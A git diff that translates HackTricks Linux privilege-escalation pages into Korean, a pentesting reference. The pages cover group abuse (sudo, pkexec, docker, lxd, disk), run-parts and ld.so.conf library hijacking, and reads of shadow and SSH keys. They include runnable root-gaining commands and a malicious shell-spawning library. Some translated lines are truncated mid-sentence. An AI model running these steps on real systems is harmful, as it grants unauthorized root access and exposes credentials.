```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` - -Following output shows the “docker inspect” displaying the profile: - +다음 출력은 프로필을 표시하는 "docker inspect"를 보여줍니다: ```json "SecurityOpt": [ - "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" - ] +"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" +] ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index a733d5934..7cd1a4a4a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -4,9 +4,9 @@ ## What is Distroless -A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. +A distroless container is a type of container that **특정 애플리케이션을 실행하는 데 필요한 종속성만 포함**하며, 필요하지 않은 추가 소프트웨어나 도구는 포함하지 않습니다. 이러한 컨테이너는 **가볍고** **안전**하도록 설계되었으며, 불필요한 구성 요소를 제거하여 **공격 표면을 최소화**하는 것을 목표로 합니다. -Distroless containers are often used in **production environments where security and reliability are paramount**. +Distroless 컨테이너는 **보안과 신뢰성이 가장 중요한** **생산 환경**에서 자주 사용됩니다. Some **examples** of **distroless containers** are: @@ -15,7 +15,7 @@ Some **examples** of **distroless containers** are: ## Weaponizing Distroless -The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. +The goal of weaponize a distroless container is to be able to **임의의 바이너리와 페이로드를 실행할 수 있는 것**이며, **distroless**에 의해 암시된 **제한**(시스템에 일반적인 바이너리 부족)과 **읽기 전용** 또는 **실행 금지**와 같은 컨테이너에서 일반적으로 발견되는 보호 장치에도 불구하고 가능합니다. ### Through memory @@ -25,6 +25,6 @@ Coming at some point of 2023... #### openssl -\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container. +\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **필요\*\* by the software that is going to be running inside the container. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index f34a6d548..e8d00e453 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,13 +1,12 @@ -# Interesting Groups - Linux Privesc +# 흥미로운 그룹 - 리눅스 권한 상승 {{#include ../../../banners/hacktricks-training.md}} -## Sudo/Admin Groups +## Sudo/관리 그룹 -### **PE - Method 1** - -**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: +### **PE - 방법 1** +**때때로**, **기본적으로 (또는 일부 소프트웨어가 필요하기 때문에)** **/etc/sudoers** 파일 안에서 이러한 줄을 찾을 수 있습니다: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -15,48 +14,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +이것은 **sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 무엇이든 실행할 수 있음을 의미합니다**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +이 경우, **root가 되려면 다음을 실행하면 됩니다**: ``` sudo su ``` - ### PE - Method 2 -Find all suid binaries and check if there is the binary **Pkexec**: - +모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하십시오: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ -This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: - +이진 파일 **pkexec가 SUID 이진 파일**이고 **sudo** 또는 **admin** 그룹에 속하는 경우, `pkexec`를 사용하여 sudo로 이진 파일을 실행할 수 있습니다.\ +이는 일반적으로 이러한 그룹이 **polkit 정책** 내에 있기 때문입니다. 이 정책은 기본적으로 어떤 그룹이 `pkexec`를 사용할 수 있는지를 식별합니다. 다음을 사용하여 확인하십시오: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스 배포판에서는 기본적으로 **sudo** 및 **admin** 그룹이 나타납니다. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. - -To **become root you can execute**: - +**루트가 되려면 다음을 실행할 수 있습니다**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +**pkexec**를 실행하려고 시도했지만 **오류**가 발생하면: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션이 필요합니다**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` - ## Wheel Group -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**때때로**, **기본적으로** **/etc/sudoers** 파일 안에서 이 줄을 찾을 수 있습니다: ``` %wheel ALL=(ALL:ALL) ALL ``` +이것은 **wheel 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있음을 의미합니다**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +이 경우, **root가 되려면 다음을 실행하면 됩니다**: ``` sudo su ``` - ## Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: - +**shadow** 그룹의 사용자들은 **/etc/shadow** 파일을 **읽을** 수 있습니다: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` - -So, read the file and try to **crack some hashes**. +해시를 **크랙**해 보세요. ## Staff Group -**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups) - -In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not. +**staff**: 사용자가 루트 권한 없이 시스템에 로컬 수정을 추가할 수 있도록 허용합니다 (`/usr/local`). (`/usr/local/bin`의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 `/bin` 및 `/usr/bin`의 실행 파일을 "덮어쓸" 수 있습니다). 모니터링/보안과 더 관련된 "adm" 그룹과 비교하십시오. [\[source\]](https://wiki.debian.org/SystemGroups) +데비안 배포판에서 `$PATH` 변수는 `/usr/local/`가 우선적으로 실행된다는 것을 보여줍니다. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -107,11 +86,7 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` - -If we can hijack some programs in `/usr/local`, we can easy to get root. - -Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login). - +`/usr/local`에 있는 일부 프로그램을 탈취할 수 있다면, 루 ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -119,9 +94,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` - -or When a new ssh session login. - +또는 새로운 ssh 세션 로그인 시. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -134,9 +107,7 @@ $ pspy64 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` - -**Exploit** - +**익스플로잇** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts @@ -155,13 +126,11 @@ $ ls -la /bin/bash # 0x5 root it $ /bin/bash -p ``` - ## Disk Group -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. +이 권한은 **루트 접근과 거의 동등**하며, 머신 내부의 모든 데이터에 접근할 수 있습니다. Files:`/dev/sd[a-z][1-9]` - ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 @@ -170,57 +139,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +debugfs를 사용하면 **파일을 쓸 수** 있다는 점에 유의하세요. 예를 들어 `/tmp/asd1.txt`를 `/tmp/asd2.txt`로 복사하려면 다음과 같이 할 수 있습니다: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` - -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. +그러나 **root가 소유한 파일**(예: `/etc/shadow` 또는 `/etc/passwd`)에 **쓰기**를 시도하면 "**Permission denied**" 오류가 발생합니다. ## Video Group -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: - +`w` 명령어를 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장될 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +**원시 이미지**를 **열기** 위해 **GIMP**를 사용하고 **`screen.raw`** 파일을 선택한 후 파일 형식으로 **Raw image data**를 선택할 수 있습니다: ![](<../../../images/image (463).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): +그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 화면을 더 잘 보여주는 것을 선택합니다: ![](<../../../images/image (317).png>) -## Root Group +## 루트 그룹 -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +기본적으로 **루트 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 **특히 흥미로운 것들**을 **수정**할 수 있는 접근 권한이 있을 수 있습니다. 이는 권한 상승에 사용될 수 있습니다... +**루트 구성원이 수정할 수 있는 파일 확인**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +## Docker 그룹 -## Docker Group - -You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. - +호스트 머신의 **루트 파일 시스템을 인스턴스의 볼륨에 마운트**할 수 있으므로, 인스턴스가 시작될 때 해당 볼륨에 `chroot`를 즉시 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다. ```bash docker image #Get images from the docker service @@ -232,33 +191,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` - -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: +마지막으로, 이전의 제안이 마음에 들지 않거나 어떤 이유로 작동하지 않는 경우(예: docker api 방화벽?) **특권 컨테이너를 실행하고 그로부터 탈출하는** 방법을 시도할 수 있습니다. 여기에서 설명합니다: {{#ref}} ../docker-security/ {{#endref}} -If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** +docker 소켓에 대한 쓰기 권한이 있는 경우 [**docker 소켓을 악용하여 권한을 상승시키는 방법에 대한 이 게시물을 읽어보세요**](../#writable-docker-socket)**.** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +## lxc/lxd 그룹 {{#ref}} ./ {{#endref}} -## Adm Group +## Adm 그룹 -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ -Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. +일반적으로 **`adm`** 그룹의 **구성원**은 _/var/log/_에 위치한 **로그** 파일을 **읽을** 수 있는 권한을 가지고 있습니다.\ +따라서 이 그룹 내의 사용자를 손상시킨 경우 **로그를 확인해야** 합니다. -## Auth group +## Auth 그룹 -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ -These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +OpenBSD 내에서 **auth** 그룹은 일반적으로 사용되는 경우 _**/etc/skey**_ 및 _**/var/db/yubikey**_ 폴더에 쓸 수 있습니다.\ +이 권한은 다음 익스플로잇을 사용하여 **루트로 권한을 상승시키는** 데 악용될 수 있습니다: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index f308931ab..f10001c77 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,15 +1,14 @@ -# lxd/lxc Group - Privilege escalation +# lxd/lxc 그룹 - 권한 상승 {{#include ../../../banners/hacktricks-training.md}} -If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +_**lxd**_ **또는** _**lxc**_ **그룹**에 속하면, 루트가 될 수 있습니다.** -## Exploiting without internet +## 인터넷 없이 악용하기 -### Method 1 - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +### 방법 1 +이 배포판 빌더를 당신의 머신에 설치할 수 있습니다: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(github의 지침을 따르세요): ```bash sudo su # Install requirements @@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ## Using build-lxc sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` - -Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: - +파일 **lxd.tar.xz**와 **rootfs.squashfs**를 업로드하고, 이미지를 레포지토리에 추가한 후 컨테이너를 생성합니다: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -51,23 +48,19 @@ lxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - > [!CAUTION] -> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -> Run **`lxd init`** and **repeat** the previous chunk of commands - -Finally you can execute the container and get root: +> 이 오류 _**Error: No storage pool found. Please create a new storage pool**_를 발견하면\ +> **`lxd init`**를 실행하고 **이전 명령어 조각을 반복**하세요. +마지막으로 컨테이너를 실행하고 root를 얻을 수 있습니다: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` - ### Method 2 -Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. - +Alpine 이미지를 빌드하고 `security.privileged=true` 플래그를 사용하여 시작하여 컨테이너가 호스트 파일 시스템과 루트로 상호 작용하도록 강제합니다. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder @@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index ab2683a9b..94caa47cd 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -2,82 +2,71 @@ {{#include ../../banners/hacktricks-training.md}} -## Prepare the environment +## 환경 준비 -In the following section you can find the code of the files we are going to use to prepare the environment +다음 섹션에서는 환경을 준비하는 데 사용할 파일의 코드를 찾을 수 있습니다. {{#tabs}} {{#tab name="sharedvuln.c"}} - ```c #include #include "libcustom.h" int main(){ - printf("Welcome to my amazing application!\n"); - vuln_func(); - return 0; +printf("Welcome to my amazing application!\n"); +vuln_func(); +return 0; } ``` - {{#endtab}} {{#tab name="libcustom.h"}} - ```c #include void vuln_func(); ``` - {{#endtab}} {{#tab name="libcustom.c"}} - ```c #include void vuln_func() { - puts("Hi"); +puts("Hi"); } ``` - {{#endtab}} {{#endtabs}} -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **파일**을 같은 폴더에 **생성**합니다. +2. **라이브러리**를 **컴파일**합니다: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. `libcustom.so`를 `/usr/lib`로 **복사**합니다: `sudo cp libcustom.so /usr/lib` (루트 권한) +4. **실행 파일**을 **컴파일**합니다: `gcc sharedvuln.c -o sharedvuln -lcustom` -### Check the environment - -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. +### 환경 확인 +_libcustom.so_가 _/usr/lib_에서 **로드**되고 있으며, 이진 파일을 **실행**할 수 있는지 확인합니다. ``` $ ldd sharedvuln - linux-vdso.so.1 => (0x00007ffc9a1f7000) - libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) - /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) +linux-vdso.so.1 => (0x00007ffc9a1f7000) +libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) +/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) $ ./sharedvuln Welcome to my amazing application! Hi ``` - ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: - +이 시나리오에서는 **누군가가 _/etc/ld.so.conf/_ 파일 안에 취약한 항목을 생성했다고 가정합니다**: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` - -The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Download and compile** the following code inside that path: - +취약한 폴더는 _/home/ubuntu/lib_입니다 (여기에서 쓰기 권한이 있습니다).\ +**다음 코드를 다운로드하고** 해당 경로에서 컴파일하세요: ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ #include void vuln_func(){ - setuid(0); - setgid(0); - printf("I'm the bad library\n"); - system("/bin/sh",NULL,NULL); +setuid(0); +setgid(0); +printf("I'm the bad library\n"); +system("/bin/sh",NULL,NULL); } ``` +이제 **잘못 구성된** 경로 안에 악성 libcustom 라이브러리를 **생성했으므로**, **재부팅**을 기다리거나 루트 사용자가 **`ldconfig`**를 실행하기를 기다려야 합니다 (_이 바이너리를 **sudo**로 실행할 수 있거나 **suid 비트**가 설정되어 있다면 직접 실행할 수 있습니다_). -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). - -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: - +이 일이 발생한 후 **다시 확인**하여 `sharevuln` 실행 파일이 `libcustom.so` 라이브러리를 어디에서 로드하는지 확인하십시오: ```c $ldd sharedvuln - linux-vdso.so.1 => (0x00007ffeee766000) - libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) - /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) +linux-vdso.so.1 => (0x00007ffeee766000) +libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) +/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` - -As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: - +보시다시피 **`/home/ubuntu/lib`에서 로드되고** 사용자가 이를 실행하면 셸이 실행됩니다: ```c $ ./sharedvuln Welcome to my amazing application! @@ -114,40 +99,35 @@ I'm the bad library $ whoami ubuntu ``` - > [!NOTE] -> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. +> 이 예제에서는 권한 상승을 하지 않았지만, 실행되는 명령을 수정하고 **루트 또는 다른 권한이 있는 사용자가 취약한 바이너리를 실행하기를 기다리면** 권한을 상승시킬 수 있습니다. -### Other misconfigurations - Same vuln +### 다른 잘못된 구성 - 동일한 취약점 -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +이전 예제에서는 관리자가 **`/etc/ld.so.conf.d/` 내의 구성 파일 안에 비권한 폴더를 설정한** 잘못된 구성을 가장했습니다.\ +하지만 동일한 취약점을 유발할 수 있는 다른 잘못된 구성도 있습니다. `/etc/ld.so.conf.d` 내의 일부 **구성 파일**에 **쓰기 권한**이 있거나 `/etc/ld.so.conf.d` 폴더 또는 `/etc/ld.so.conf` 파일에 쓰기 권한이 있으면 동일한 취약점을 구성하고 이를 악용할 수 있습니다. ## Exploit 2 -**Suppose you have sudo privileges over `ldconfig`**.\ -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ -So, lets create the files and folders needed to load "/tmp": - +**`ldconfig`에 대한 sudo 권한이 있다고 가정해 보겠습니다.**\ +`ldconfig`에 **구성 파일을 어디서 로드할지** 지시할 수 있으므로, 이를 이용해 `ldconfig`가 임의의 폴더를 로드하도록 할 수 있습니다.\ +따라서 "/tmp"를 로드하는 데 필요한 파일과 폴더를 생성해 보겠습니다: ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` - -Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ -And finally, lets load the path and check where is the binary loading the library from: - +이제 **이전 익스플로잇**에서 언급한 대로, **`/tmp` 안에 악성 라이브러리를 생성합니다**.\ +마지막으로, 경로를 로드하고 바이너리가 라이브러리를 어디에서 로드하는지 확인해 봅시다: ```bash ldconfig -f fake.ld.so.conf ldd sharedvuln - linux-vdso.so.1 => (0x00007fffa2dde000) - libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) - /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) +linux-vdso.so.1 => (0x00007fffa2dde000) +libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) +/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) ``` - -**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** +**보시다시피, `ldconfig`에 대한 sudo 권한이 있으면 동일한 취약점을 악용할 수 있습니다.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 5e355bae5..9d2b9687f 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -2,19 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} +리눅스 머신은 Active Directory 환경 내에 존재할 수 있습니다. -A linux machine can also be present inside an Active Directory environment. - -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. +AD 내의 리눅스 머신은 **파일 내에 다양한 CCACHE 티켓을 저장할 수 있습니다. 이 티켓은 다른 kerberos 티켓처럼 사용되고 남용될 수 있습니다**. 이 티켓을 읽으려면 티켓의 사용자 소유자이거나 **root**여야 합니다. ## Enumeration -### AD enumeration from linux +### 리눅스에서 AD 열거하기 -If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. +리눅스(또는 Windows의 bash)에서 AD에 접근할 수 있다면 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)를 사용하여 AD를 열거할 수 있습니다. -You can also check the following page to learn **other ways to enumerate AD from linux**: +리눅스에서 AD를 열거하는 **다른 방법**을 배우려면 다음 페이지를 확인하세요: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from ### FreeIPA -FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in: +FreeIPA는 Microsoft Windows **Active Directory**에 대한 오픈 소스 **대안**으로, 주로 **Unix** 환경을 위해 설계되었습니다. Active Directory와 유사한 관리 기능을 위해 완전한 **LDAP 디렉토리**와 MIT **Kerberos** 키 배포 센터를 결합합니다. CA 및 RA 인증서 관리를 위해 Dogtag **Certificate System**을 활용하며, 스마트카드를 포함한 **다중 인증**을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다. 자세한 내용은 다음에서 확인하세요: {{#ref}} ../freeipa-pentesting.md {{#endref}} -## Playing with tickets +## 티켓 다루기 ### Pass The Ticket -In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: +이 페이지에서는 **리눅스 호스트 내에서 kerberos 